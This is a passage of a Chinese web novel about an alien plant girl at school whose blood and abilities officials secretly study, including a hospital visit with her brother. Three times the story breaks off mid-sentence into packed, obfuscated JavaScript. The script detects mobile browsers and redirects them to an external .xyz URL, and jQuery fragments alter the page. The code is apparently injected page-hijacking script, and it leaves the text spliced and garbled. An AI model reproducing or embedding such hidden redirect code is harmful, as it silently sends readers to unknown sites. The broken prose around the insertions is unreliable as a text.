白草莓好像做了一个无比畅快的梦,梦里它长得超过了身边的老树,触手探出去能摸到太阳,可以放肆地吸收太阳光,不用依照颜色排序,夹在其他植物的缝隙里垫着脚生长。
“太阳太阳啦啦啦,我爱晒太阳。”
徜徉在丰沛氧气里的白草莓似乎听见了自己的手机铃声。
“太阳太阳啦啦啦,我最爱晒太阳啦——”
没错!这就是她的手机铃声,还是她为了某件事专门定的。
白草莓突然一下子从床上坐起来。
白澜亦本来想帮她关掉闹钟,被她的“诈尸”举动吓得差点心脏骤停。要是早知道起床铃声能把她唤醒,昨晚上就该试试。
白草莓一把掀开被子,看向白澜亦第一件事就是问:“今天周几?”
白澜亦十分不解:“你昨天都成那样子了,不会还想着上学吧?我帮你请过假了。”
昨晚上白草莓跟吃了毒菌子一样,想象自己徜徉在氧气海,把自己整个人浸在浴缸里,咕噜咕噜冒泡。
幸好她是外星人,泡了半个小时没把自己淹死,但差点把白澜亦给吓死,在她被泡浮囊前,赶紧把人从水里捞起来。
他跟白草莓说话,她有反应就是不回应,听话把衣服换了牙刷了安静躺下睡了,偏偏全程闭着眼睛低垂脑袋一声不吭。
白澜亦坐在外面,怀疑自己也有隐藏身份,是能驱鬼的茅山道士。
“昨天?那今天周三,还好没睡过头。”白草莓抓过手机光脚下了床,从柜子里找出套新的校服,转过身一边解扣子,一边催白澜亦出去。
白澜亦依言转身,离开时顺手带上了房门,歪了下脑袋,看来白草莓有进步,把他的话听进去了。
他下楼刚烤了两片面包,微波炉甚至还在工作,牛奶都没热好,白草莓就急匆匆从厨房外边飞过去。
“白草莓!早饭!”
“九点半了哥!我答应陈序拿到名额,错过竞赛我可就食言啦!”
白草莓的人影似乎瞬间就不见了,白澜亦追出来的时候只剩下沿途被卷起来的树叶。
怎么感觉,醒过来的白草莓有点不一样了?
来不及叫刘管家出动,白草莓到路边随手拦了辆的士去学校。
幸而错过早高峰,到学校的时候竞赛已经开始接近半小时,白草莓被拦在考场外面安检。
考场内大多数人已经做完三分之一的题目,白草莓的进度远远落后,她必须在剩下一小时里做完全部的题目,正确率还得超过所有人拿到第一才行。
不过看白草莓迟到,考场内不少人都松了口气,虽然她月考一鸣惊人,但上次月考之前看她慌得不得了,这次时间紧任务重,她未必能像月考一样厉害。
现在陈序、杨筝好几个强力对手都没有出现,白草莓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050460|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再发挥失误的话,剩下的人机会就会更大。
白草莓翻开考题册,看见密密麻麻的题目,缓缓舒了口气。
一个小时后,白草莓出了考场,站在路边,经过高度紧张的考试,闭上眼沐浴着阳光休息是件很幸福的事情,风里夹杂着各种复杂的气息,她似乎还能听见百米之外树的叹气。
“可恶可恶,有只猫每天都在我身上撒尿,我要臭死了!”
“诶,你们谁方便死一死提醒那些人类,我身上长虫了。”
“今天这太阳不够足啊,嘶,秋天来了叶子掉光了,我都要饿死了。”
白草莓揉了揉耳朵,还以为自己听错了,随便挑了一棵树,走近了问:“是你身上长虫了吗?”
某树:“……”
白草莓:“……”
某树大惊:“那谁,不用死一死了,我好像已经被虫啃坏了。”
众树大惊:“不对不对不对,这人能听见我们聊天啊!”
白草莓目点头:“没错。”
“……那你转个圈给我们看看。”
白草莓照实转圈,众树齐呼“天呐,是真的!”,惊讶过后,这些树又开始纷纷提要求。
“人,能不能跟猫说不要在我身上撒尿?”
“人,能不能帮我捉虫?”
“人,我需要吃一口三百块的肥料。”
“人……”
白草莓被七嘴八舌吵得头都大了,摆摆手示意所有树木安静下来,她从兜里掏出笔,坐在路边把所有树的要求一个一个记下来。
“等我的好消息,你们的要求我会一一传达的。”
“嗯嗯嗯,没问题的。”
许缨下了课,坐在白草莓的位置上,撑着脑袋往外看,班里少了一小半的人去参加竞赛,不过别人都回来了,白草莓怎么还没动静?
这时有结束竞赛回班的学生从窗边路过:“你们看见没有,她对着树说话呢?是不是老毛病又犯了?”
“谁知道呢?也有可能是天才觉醒的后遗症。”
莫名的,听见“老毛病”许缨就会怀疑他们是不是在讨论白草莓。
许缨起身来到栏杆边上,探头一看,发现白草莓就在不远处的树林里,一个人对着树比划,嘴唇一张一合,神神叨叨的。
她刚想下去问问情况,又看见白澜亦往树林里走,拉着她的胳膊把人带走了。
许缨心里有些奇怪,又有些庆幸。
当初白草莓刚转学到这里的时候,许缨老爸专门交代她要跟白草莓搞好关系,多照顾她。
“她爸妈是我的老相识,现在进了一个新的项目组,忙得不可开交,来拜托我叫你多多照顾这个小姑娘,你可要用心啊,不准马虎,出什么事了都要跟我讲,我去摆平。”
哎,这还需要交代吗?白草莓那么可爱,有谁会不喜欢她?也就是白澜亦不识好歹,这么久了才晓得自己要对白草莓多点照顾。
“嗡嗡——”手机震了震。
许缨掏出手机,是她老爸,接听电话:“找我什么事?”
“草莓?你问她干什么?昨天晚上能有什么事?正常上课正常放学,还给一个同学过了生日。”
听见对面老是关心白草莓,许缨有点火气:“喂,你是我爸不是她爸,你不关心我身体健不健康,关心别人干什么?她身边有她哥白澜亦呢,你操什么心?”
许缨嗤笑:“你看你,越说越夸张了,白草莓的监护人是白叔叔叶阿姨,他俩是研究员,人家动你饭碗干嘛,你老糊涂了?”
许缨倚着栏杆轻啧,神情却在对面的回话后突然变得无比凝重:“什么?”
“你把刚刚的话再说一遍。她不是人还能是什么?”
27. 27
听见许缨抓住话里的重点,对面干笑了两声,转移话题:“老爸不是那意思,她最开始不是脑袋瓜不太灵光嘛?”
许缨愤愤为白草莓申辩,差点动手拍栏杆:“她那是车祸后遗症,白草莓现在可聪明了,你怎么能说她不是人呢?难道我们这群智商比不过你们的都要被开除人籍?”
许父擦了擦脸上的汗,心道幸好没有说漏嘴,难得没有因为许缨顶嘴而勃然大怒:“行了,别嚷嚷了。”
许缨赌气地不吭声。
许父声音严厉了不少:“你白叔把孩子托付给我,你就得替我把她看牢了,出了什么事我唯你是问。”
许缨仗着她老爸看不见,悄默翻了个白眼,天上的云悠悠转,自由自在,她叹了口气,应和道:“行,知道了。‘唯我是问’。”
说罢,许父率先挂断电话,独留许缨听着忙音摇头。
“许局。”
许泰然放下手机,闻言扭头看向实验室出口,一位身穿深蓝工作服的研究员步履匆匆推门进来:“什么事?”
研究员把飞船数据夹交到许泰然手里,“许局,观测中心又来人了。”
许泰然接过数据夹翻看,冷哼一声,已然洞悉来人的打算:“这姓严的不死心啊。”
毕竟最开始这项目最开始是在严高贤手里,后来经过短时间的研究,知情人士意识到事情不简单,飞船研究这个项目就飞快收归航天局管理,不过严高贤一直没放弃参与进来。
他当年是因伤自愿放弃进入航天局,但后来又建立观测中心,想方设法要跟航天局沾点关系,也不知道在折腾什么。
许泰然眼中划过一丝精明,合上数据夹,问研究员:“听说观测中心在搞一项液体实验,你能打听出什么内部消息吗?”
“想知道内部消息?许博士不如直接问我本人?”
严高贤面带笑意走进实验室,拉紧了黑手套,双手悠悠背在身后,他这人身材高大壮硕,但周身时刻都像是绕着冷气,拒人于千里之外。
许泰然瞳孔微缩,显然没料到严高贤是本人到场,而后迅速挂上整理表情,探出手跟人握手:“严先生真是神通广大,不需要门禁卡也能到我跟前。”
严高贤背在身后的手狠狠一紧,目光冷冷扫过许泰然悬在空中的手上,嘴角抽搐,像是受了莫大的羞辱。
他背着手,绕过许泰然,随意拉过一边的转椅舒服坐下,翘起二郎腿,十指相对:“托许博士的福,我的实验数据不准确,被迫废弃。我只能下剂猛药,放手一博。”
严高贤也是不久前才知道,他暗中针对白草莓进行的剂量实验被许泰然安排人搅和得完全没有参考性。
他在航天局里有人手,许泰然当然也在观测中心安插了人,时刻掌握对方的第一消息。
不过让严高贤没想到的是许泰然这么有本事,他藏起来严密保管的外星液体也能拿到手,看来是时候把中心内部好好整顿整顿了。
许泰然被落了面子没恼怒,只是垂首再抬眼,目光里也没了笑意:“严先生,我不清楚你和局里达成了什么协议,但是这个外星人对研究很重要,我希望你配合工作。不要为了一己私欲搅浑了池水,大家都没得喝。”
严高贤嘴角勾了勾,丝毫没给许泰然好脸色:“不要说这些冠冕堂皇的话,你又是什么好东西?只要我想,我有得是办法进飞船研究,不需要你的批准。”
“你……”
好歹也是求人办事,结果严高贤是这个态度,许泰然被他的目中无人气得话都说不全。
见严高贤甩脸子走人,许泰然连忙拉过一旁的研究员吩咐:“去,暂时把飞船换个地方存放,千万不能让严高贤知道。”
“好的,许局。”
严高贤沉着脸坐上回程的车,车门刚一合上,他的手套就被扯下来仍在一边,气压瞬间低到了极点。
真皮座椅上的手机在整点亮起,随后震了两下又灭掉。
严高贤下意识摩挲起手上的伤口,在抚摸到一片光滑的皮肤后,错愕一瞬,而后想起来新药确实起了点效果,手上日日溃烂的狰狞伤口消失不见,折磨他多年的疼痛也随之消弭。
这是多好的事,他期待了多年的药品终于问世,还有不错的效果,但人都是贪心的,研制出有疗效的药后就会奢求更多,希望能一劳永逸的药出现。
那些药有用,但基于白草莓研究的药疗效最好。严高贤之前不是没想过把白草莓关起来据为己有,可是经过上次的试探,喝了外星药剂后的白草莓实在太危险了,把她抓起来制药不是件可行性高的事。
“嗡嗡——”
严高贤恍然回神,看到手机上的备注眉心一紧,深呼吸后接通了电话,称呼对方:“长官。”
“长官”单刀直入:“地球人,要你找的营养液呢,还没下落?”
果然又是问这件事的,当初要不是他们安排严高贤寻找营养液,严高贤也不会想着从它下手,试试研制伤药。
严高贤心中响如擂鼓,声音冷静:“是我无能,长官。”
对方气急败坏,怒骂:“蠢货!”
“要不是选了你,这批营养液或许早就到手了!你知道我们花了多少心思才控制这艘飞船迫降吗?你每耽误一天都是在延误战机!”
严高贤嘴角勾起一抹冷笑,他确实不清楚自己在延误战机,毕竟外星人的事他为什么要管那么多,他只要保全自己就行了。
“是,我会尽全力寻找的。”严高贤嘴上这么说,挂断电话就恢复了阴冷的神情。
白草莓从天上掉下来的时候,他就知道那些人没骗他,但他们给的不够,远远不够,于是他趁舱门未闭合把那些人要找的“营养液”藏了起来,那些液体果然有奇效,甚至能够彻底地修复细胞,怪不得连外星人也争得那么厉害。
严高贤轻吐出一口气,从通讯录里找到“白和安”拨了过去,语气不善:“你的新药还没有研究出个新名堂吗?”
白和安惴惴不安:“严局,您也清楚,这药品研究的程序本来就多,时间线长,而且我是学生物的,跟药学……”
严高贤出声打断:“植物不是生物?白草莓是外星植物,当然是要你们生物学博士来研究了。”
白和安欲哭无泪,从原单位调来这里,摊上这么一个听不懂人话的领导简直心累:“我清楚了。”
得了承诺,严高贤心情舒畅:“实验用的血要是不够
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059170|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟我说,我派人去抽。”
“好好好。”白和安连连应和,只想赶紧摆脱这尊瘟神。
挂断电话,严高贤不知给谁又打了个电话,通话内容简洁,是一道命令:“盯紧白草莓,不许任何人有影响实验的可能。如有必要,白草莓缺胳膊断腿无所谓,命给我留下。”
*
白草莓最后被白澜亦带回家,强制休息。
哪怕她再三强调自己很健康没有问题,白澜亦还是撸起她的袖子,往手臂上套了个黑色仪器。
白草莓没见过这东西,好奇地问:“这是做什么?”
白澜亦用力把魔术贴拉到最底端,确认仪器和白草莓的手臂紧密贴合,奇怪地看她一眼,但还是为她解释了:“这是血压仪,你去体检没看见过?”
白草莓照实说:“没见过。”
“瞎说。”白澜亦启动开关,拍拍她的手腕提醒:“保持放松,匀速呼吸。”
白澜亦不信也正常,血压仪已经算是较为常见的医疗器械了,路边随便一个药店都能测,在专业医院进行的全身体检怎么可能不给人测血压?
不多时,血压仪滴滴两声,显现出结果来,白澜亦看过后,目光沉沉地看向白草莓:“高压90低压也90,这就是你说的没问题?”
看来她还是烧坏了,根本察觉不到自己的病有多严重。
白草莓连忙摆手,语无伦次地证明自己的健康:“没没没,我真没事,不信的话……”随即她指着医药箱里的血糖仪:“不信的话你再给我测个血糖,我身体倍儿健康,压根不怕查。”
白澜亦嘟囔着:“这会你又晓得什么是测血糖了?但血压有问题跟血糖没问题并不冲突。”
嘴上这么说,白澜亦还是拿过器材替白草莓的指尖消毒。
针头扎进指腹,很快抽出来,白草莓极短地嘶了一声,白澜亦手上挤血的动作却停了下来。
白草莓把紧闭的眼睛睁开一道小缝,问:“蓝莓,你怎么停了,相信我是健康的啦?”
白澜亦深呼吸几次,说出口的话还在颤抖:“白草莓,你知道自己的血是绿色的吗?”
白草莓点头:“我知道啊。”
白澜亦咬着牙:“可是人类的血是红色的!”
白草莓附和:“是啊,我知道。跟1223一样,人类的血也有很多颜色,棕色、黑色、蓝紫色……”
不等白草莓说完,白澜亦咬着牙打断,一想到她清楚抽血的流程,难免联想有人抽了她的血,顿时有些恨铁不成钢。
“正常的健康地球人的血只有一种颜色。你说你健康,那你是动物成精,还是外星人,这两个选项哪一个正常?”
白澜亦的话有道理,白草莓沉默下来,靠在沙发上回忆着之前的经历,神情落寞地喃喃:“可他们给我抽血,都没有发现异常啊。”
“没发现异常才是最大的异常!要是那些医生里侥幸有一个是色盲没发现,那是概率极小的事件,要是所有的医生都没发觉异常,那就说明他们全都在装瞎。”
白澜亦深深吐出一口气来,颓然坐在白草莓身边:“白草莓,你被人盯上了。”
“你从一开始,就被人盯上了。”
28. 28
听了白澜亦的话,白草莓也只歪了下脑袋,看着他安慰一笑,似乎早就清楚这件事情:“你不用担心我啦,至少目前为止,他们只敢在偷偷观察我。”
白澜亦无奈侧头,他为白草莓着急上火,敢情人家早就清楚这件事,还不以为然。
一瞬间,他心里有点说不出的失落,环抱起胳膊架起一个防备的姿势:“别瞎说,谁担心你了?”
甚至不用白草莓动弹,谎言的味道隔了两个身位也能清晰地被触手捕捉。
白草莓双手撑着沙发,往左挪了一步,将脑袋轻轻靠在白澜亦肩膀上,极轻极缓地眨了眨眼,笑着说:“好啊,你没有担心我。”
察觉重量压下来,白澜亦浑身一震,随后沉着脸把胳膊松开,调整坐姿让白草莓靠得舒服点。
哼,他是第一次跟人这么亲近,也是第一次当哥哥,言不由衷是可以被理解的事情吧?
白草莓偷偷瞥他一眼,勾起嘴角轻笑。
现在事情到了这种地步,她还能没心没肺的笑出来,白澜亦完全无法共情白草莓的心思:“你还傻乐?不怕那些人把你抓去做实验?”
事实上实验早就已经开始了。
白草莓靠在白澜亦肩膀上,目之所及是她爆发式生长的触手,郁郁葱葱,茁壮程度几乎能够比肩她在1223星的时候。
这不是地球科技能达到的水平,一定有外星科技作为依托,或许就来自她失踪多日的飞船,白草莓心里清楚,但没有说出口。
正想着,白澜亦忽然偏过头来看她,跟白草莓那双亮晶晶的眼睛对上,他先声夺人:“没睡着怎么不说话?”
白草莓说:“我想去医院。”
白澜亦眉心轻蹙,他有点不理解,白草莓刚刚还信誓旦旦地说自己没问题,怎么这会又要去医院了,忘了自己情况特殊,于是问道:“哪里不舒服?”
“我想去看看奶奶。”白草莓立刻补充:“陈序奶奶。”
听见陈序的名字,白澜亦心中警铃大作:“先不论你现在的处境怎么样,给我一个理由说服我同意你出去乱跑?”
*
“到了,你先在医院门口等我一会儿。”
白澜亦不清楚白草莓什么时候跟陈序家人有了牵扯,但他也没办法拒绝她看望一个孤苦的老人家。
白草莓“哦”的应了一声,推开门下了车。
白澜亦二指贴在一起,一边思考一边揉搓,抬眼望向后视镜的时候,发现刘管家有些慌张地迅速挪开视线。
“刘叔。”
刘管家猛地一哆嗦,应了声:“诶……少爷不下车吗?”
白澜亦将头转向窗外,若无其事地开了个话头:“白草莓前些天进医院疗养,体检说是没问题,但回来没多久又犯病了,我当然得关心点儿了。只是我在地图上查不到那个疗养院,也搜不到任何信息,不清楚是不是她记错了。听说来去都是您接送,您跟我说说里面的医资和环境呗。”
刘管家目光闪躲,干笑两声:“您放心,那医院是老爷和夫人精挑细选的,肯定没有问题,就是管理得有些严格,谢绝参观,我也没能进去过。”
听他这么说,白澜亦舌尖顶了顶上颚,目光透过后视镜直勾勾盯着刘管家:“既然是我爸妈挑的,那肯定没问题,您把地址发给我吧,我到时候也去住半个月,休息休息。”
“您……”刘管家声音微颤,眼珠转了转,又笑:“那医院很难预约,近两年的时间都已经越满了,要不您联络老爷,找他找找关系给您插个空?”
白澜亦感叹一声:“还要找我爸啊。”
他心里不免一阵失落,难道他爸也参与进这些事情里?如果是这样的话,那他脑海里的世界究竟有几分是真几分是假?
“那算了,我跟他谁都看不上谁,说什么都呛。走了,刘叔,我跟白草莓会待到很晚,我们自己回家,您不用来接。”
说完,白澜亦也下了车,白草莓正蹲在大门边的台阶上神游,身边摆着慰问礼品。
他快速调整面部表情,走到白草莓身边,戳了戳她的头顶:“醒醒。”
白草莓站起来,看白澜亦拎起慰问品,跟他并肩往里走,按捺不住好奇心,问道:“你跟刘叔在聊什么啊?”
白澜亦把自己的猜测全都按下来,板着脸说:“大人说话,小孩子不要听。”
哪怕白草莓已经跟白澜亦坦白过,她已经成年不知道有多少年了,可是白澜亦依旧把她当成高中生,白草莓不服气:“我哪里是小孩子,不要小看我!”
白澜亦不以为意:“你这个叛逆的样子就是小孩。”
到了护士站,问过奶奶的病房,陈序在电梯口迎接白草莓,只是没想到电梯一打开,率先跟白澜亦对上眼。
陈序瞳孔骤然一缩,忍不住发问:“你怎么来了?”
自从陈序上次收钱去找白澜亦的茬之后,他跟白澜亦就算是结下梁子了,谁都没说,但二人心照不宣,毕竟白澜亦这么心高气傲的人,最讨厌别人因为莫名其妙的小事耽误时间。
白澜亦几乎是立刻就把手里的慰问品递出去,拍拍手上近乎于无的灰,语气冷漠:“法律规定我不能来?”
陈序抱着慰问品,跟白草莓打了个招呼,喜笑颜开,对着白澜亦敷衍笑笑:“当然没有规定了,我家大门常打开,欢迎你常来。”
陈序在两人前面引路,白草莓跟在他身边询问奶奶的状况。
“摔倒导致小腿骨折。”陈序无奈摇了下头,:“但是奶奶年龄大了,不能排除是不是基础病之类的导致的头晕摔倒,所以还得做详细检查。”
白草莓对此很是赞同:“毕竟奶奶年纪大了,是得好好检查。”
二人中间忽然插进来一只手,毫不留情拍开陈序,白澜亦挤了进来,面无表情地看着陈序:“我也这么觉得。”
陈序心里怀疑白澜亦吃错药了,面上虚假地笑了下,应道:“是是是。”
病房里,奶奶的腿打了石膏垫着软枕,一看这么多年轻小同学来看望她,脸上都笑出了皱纹,拉过自己身边的椅子招呼大家都坐。
悬在床前的电视机里播着每日新闻,屋里忙着安排几人的座位。
陈序把东西放在一边,接过奶奶手里的椅子,顺手挪到白草莓跟前:“我来吧奶奶。”
白澜亦自力更生,拉过一个凳子挨着白草莓坐下。
陈序环视一圈,发现屋里没有更多椅子,拉过门后面的折叠轮椅,还没打开坐下又被奶奶拍了一巴掌:“你做什么,给小同学倒杯水啊!把水果洗了,你这孩子真是的,没点眼力见。”
似乎每次有人来访,陈序都要因为手脚不够利索,没有眼力见被奶奶批评。
陈序愤愤起身,依言出去倒水削苹果,再端回来分给白家兄妹。
只是这出门一趟的功夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062596|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,白澜亦把他奶奶哄得格外的好,奶奶笑眯眯地听他说话,那眼神慈祥的也不知道谁是她亲孙子。
“澜亦真是好孩子,长相俊,学习好,做人也没得说,陈序可得跟你好好学学。”
哦,已经叫上澜亦了,他的称呼反倒成了全名。
陈序撇嘴,把削好的苹果递给白草莓,剩下没削皮的连带果盘一起塞进白澜亦手里。
白澜亦:?
白澜亦看了眼白草莓的苹果,又看了眼自己的苹果,心里不爽,这小子果然对白草莓格外好,他抬头怒视陈序:你小子搞双标?
陈序还气白澜亦呢,平常不显山不露水,一来就把他奶奶哄骗成自己的了:是,就不给你削皮怎么的?
白澜亦朝奶奶咧开一个笑:“您不知道,陈序在学校里还搞兼职……”
陈序怕他胡言乱语,扑上去拿着苹果就塞进白澜亦嘴里,堵住他后半句话,呵呵一笑:“对,我帮他妹妹补习呢。”
说完,他长呼一口气,拍了拍白澜亦的肩膀,笑着点头:“不用谢哈。”
白草莓啃了口苹果,支着脑袋看他俩斗法,余光瞥见门口进来个护士,是上次见过的双姐。
她捏着病历本敲了敲门:“陈序,该带庄奶奶去做核磁共振了。”
陈序应了声,搀着奶奶下了床,扶到轮椅上。
白草莓看他眼下青黑,应该是熬了一夜,上前接手轮椅,说:“只是核磁共振而已,我推着奶奶去吧。”
陈序倚靠在病床栏杆上,双手合十:“感谢感谢,麻烦你了。”
白澜亦深深看了白草莓一眼,目光落在奶奶身上,没有阻止。
白草莓推着奶奶跟护士离开病房,白澜亦坐在离陈序较远的位置上,狠狠咬了口苹果,咔嚓咔嚓嚼着。
末了,白澜亦问陈序:“你的钱都用在这里了?”
护士来的时候他扫了眼病历单,发现陈序奶奶的病例格外厚,其中最多的是关于免疫系统的检查。
陈序摊开双手,也没打算隐藏,无所谓地笑笑:“医院是小头,大头都投进药品研究上了。”
白澜亦略一思索就清楚这是意味着什么,对陈序稍稍有些改观。
现有的药品难以扼制病情的恶化,但因为属于罕见病,药厂不会浪费资源去研究新药,要想活命只能依靠个人自己研究,这个流程无比漫长,不仅需要相关的知识储备,还要投入数不清的时间和金钱,且未必能研究出个名堂来,这对谁来说都不是件轻松的事情,尤其是高中生。
白澜亦又咬了口苹果,语气平和多了:“那你还蛮有种的。”
陈序被这莫名其妙的夸奖弄得有些糊涂:“我还以为你这样的人,会说我不值当呢。”
白澜亦往后靠在座椅上,轻笑一声:“你口中我这样的人是什么人?如果我有你一半幸运,有这样一个亲人陪在身边,我情愿是自己得病。”
陈序不以为然,昂了下脑袋:“你不是有妹妹吗?”
提到白草莓,白澜亦垂下眼皮,双唇紧抿,半晌扯了下嘴角,道:“所以我只有你一半幸运,我情愿是我得病。”
换白草莓完完整整留在身边。
剩下的话他没说出口,陈序什么也不懂,跟他说这些完全是对牛弹琴,未来的日子还不知道是什么样的呢。
离开这里后,他就要考虑如何让白草莓摆脱那些藏在暗处的眼睛。